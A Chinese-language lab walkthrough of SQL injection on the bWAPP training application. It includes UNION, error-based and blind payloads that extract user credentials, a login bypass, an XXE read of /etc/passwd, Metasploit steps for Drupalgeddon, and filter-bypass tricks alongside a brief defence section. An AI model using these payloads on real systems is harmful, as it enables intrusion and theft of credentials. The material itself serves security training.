3.bWAPP SQL注入篇
字数 4000 2025-08-11 17:40:08
SQL注入漏洞全面解析与实战教学
1. SQL注入基础概念
SQL注入(SQL Injection)是一种将恶意SQL代码插入或"注入"到应用的输入参数中,欺骗服务器执行恶意SQL命令的攻击方式。攻击者可以利用这种漏洞绕过安全机制,获取数据库中的敏感信息,甚至获得服务器控制权。
2. SQL注入类型与检测方法
2.1 GET/Search型注入
特征:通过URL参数传递搜索条件,通常使用LIKE语句进行模糊匹配
检测步骤:
- 输入单引号
'测试:http://example.com/sqli_1.php?title=g'&action=search - 观察是否返回数据库错误信息
- 构造永真条件测试:
g%' or 1=1 # - 构造永假条件测试:
g%' or 1=2 # - 对比返回结果差异确认漏洞存在
注入利用:
- 判断字段数:
g%%27order%20by%208%23 - 查找回显点:
g%%27union select 1,2,3,4,5,6,7%23 - 获取数据库名:
g%%27union select 1,database(),3,4,5,6,7%23 - 获取表名:
g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23 - 获取字段名:
g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23 - 获取数据:
g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23
2.2 GET/Select型注入
特征:通过URL参数直接选择数据,通常为数字型注入
检测步骤:
- 构造永真条件:
http://example.com/sqli_2.php?movie=1 and 1=1&action=go - 构造永假条件:
http://example.com/sqli_2.php?movie=1 and 1=2&action=go - 对比返回结果确认漏洞
注入利用:
- 判断字段数:
1 order by 7 - 查找回显点:
1 and 1=2 union select 1,2,3,4,5,6,7 - 获取数据库信息:
1 and 1=2 union select 1,database(),3,4,5,6,7
2.3 POST/Search型注入
与GET/Search型注入原理相同,只是参数通过POST方式提交
2.4 POST/Select型注入
与GET/Select型注入原理相同,只是参数通过POST方式提交
2.5 AJAX/JSON/jQuery注入
特征:通过AJAX异步请求获取数据,返回JSON格式
检测方法:
- 直接访问处理AJAX请求的PHP文件:
sqli_10-2.php - 注入测试:
http://example.com/sqli_10-2.php?title=Iron%' and 1=1 %23
注入利用:
- 构造联合查询:
%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users# - 或使用:
%' union select 1,2,(select group_concat('~',login,'~',password) from users),4,5,6,7 #
2.6 登录表单注入
Login Form/Hero型
与GET/Select型注入类似
Login Form/User型
特殊点:用户名和密码分开验证,需要构造特定注入
利用方法:
- 用户名:
' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 # - 密码:
3(与联合查询中的第三个字段值相同) - 其中
77de68daecd823babbb58edb1c8e14d7106e83bb是3的SHA1值
2.7 SQLite注入
特殊点:
- 注释符为
-- - 内置表为
sqlite_master - 使用
sqlite_version()函数获取版本
利用方法:
- 判断字段数:
Iron%' order by 6 -- - 查找回显点:
123%' union select 1,2,3,4,5,6 -- - 获取表名:
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master -- - 获取表结构:
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master -- - 获取数据:
123%' union select 1,2,login,password,5,6 from users --
2.8 Drupal SQL注入(CVE-2014-3704)
利用方法:
- 使用Metasploit模块:
exploit/multi/http/drupal_drupageddon - 设置目标路径:
set targeturi /drupal/ - 设置目标主机和端口
- 执行攻击获取shell
2.9 存储型注入
Stored (Blog)
利用方法:
- 注入测试:
test','hack')# - 获取数据库名:
test', (select database())) # - 获取表名:
test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) # - 获取数据:
test', (select group_concat(login,password) from users)) # - 报错注入:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
Stored (User-Agent)
利用方法:
- 修改User-Agent头进行注入
- 获取数据库名:
test', (select database())) # - 报错注入:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
Stored (XML)
利用方法:
- SQL注入:
<reset> <login>bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login> <secret>Any bugs?</secret> </reset> - XXE注入:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE hack [ <!ENTITY text SYSTEM "file:///etc/passwd"> ]> <reset> <login>&text;</login> <secret>hack</secret> </reset>
2.10 盲注技术
Boolean-Based盲注
利用方法:
- 判断数据库长度:
Iron Man' and length(database())=5 # - 逐字符猜解库名:
Iron Man' and (substr(database(),1,1))='b' #
Time-Based盲注
利用方法:
- 基本测试:
Iron Man' and sleep(3) -- q - 条件延时:
Iron Man' and sleep(if((1=2), 0, 3)) #
3. 防御措施分析
3.1 常见防御方法
- 参数化查询/预处理语句:最有效的防御方式
- 输入验证:对用户输入进行严格过滤
- 转义特殊字符:
addslashes()函数mysql_real_escape_string()函数
- 最小权限原则:数据库用户只赋予必要权限
- 错误处理:禁止显示详细错误信息
3.2 绕过防御的技术
- 宽字节注入:当数据库使用GBK等宽字符集时可能绕过
- 二次编码:对已编码的内容再次编码
- 注释符变异:使用不同注释符如
--、#、/* */
4. 实战技巧总结
- 信息收集:先确定数据库类型(MySQL、SQLite等)
- 注入点定位:通过错误回显或布尔逻辑判断
- 字段数判断:使用
order by逐步测试 - 回显点确定:联合查询中插入可识别标记(如数字)
- 数据提取:使用
group_concat合并多行结果 - 权限提升:尝试获取管理员凭据或系统权限
- 自动化工具:合理使用sqlmap等工具提高效率
5. 不同安全等级的差异
- Low级别:基本无防护,可直接注入
- Medium级别:通常使用
addslashes()进行简单过滤 - High级别:使用更安全的
mysql_real_escape_string(),且字符集设置正确
6. 附录:常用Payload
6.1 信息收集Payload
- 获取数据库版本:
- MySQL:
@@version或version() - SQLite:
sqlite_version()
- MySQL:
- 获取当前用户:
- MySQL:
user() - 通用:
current_user
- MySQL:
- 获取数据库名:
database()
6.2 数据提取Payload
- 获取所有表名:
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() - 获取表结构:
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' - 获取数据:
SELECT group_concat(concat(login,0x7e,password)) FROM users
6.3 报错注入Payload
- MySQL报错注入:
or updatexml(1,concat(0x7e,(select database()),0x7e),1) - extractvalue报错:
or extractvalue(1, concat(0x7e,(select database())))
6.4 盲注Payload
- 布尔盲注:
and (select substr(login,1,1) from users limit 1)='a' - 时间盲注:
and if((select substr(login,1,1) from users limit 1)='a', sleep(3), 0)
通过掌握以上SQL注入技术和防御方法,安全人员可以更全面地评估Web应用的安全性,开发人员也能更好地保护自己的应用免受此类攻击。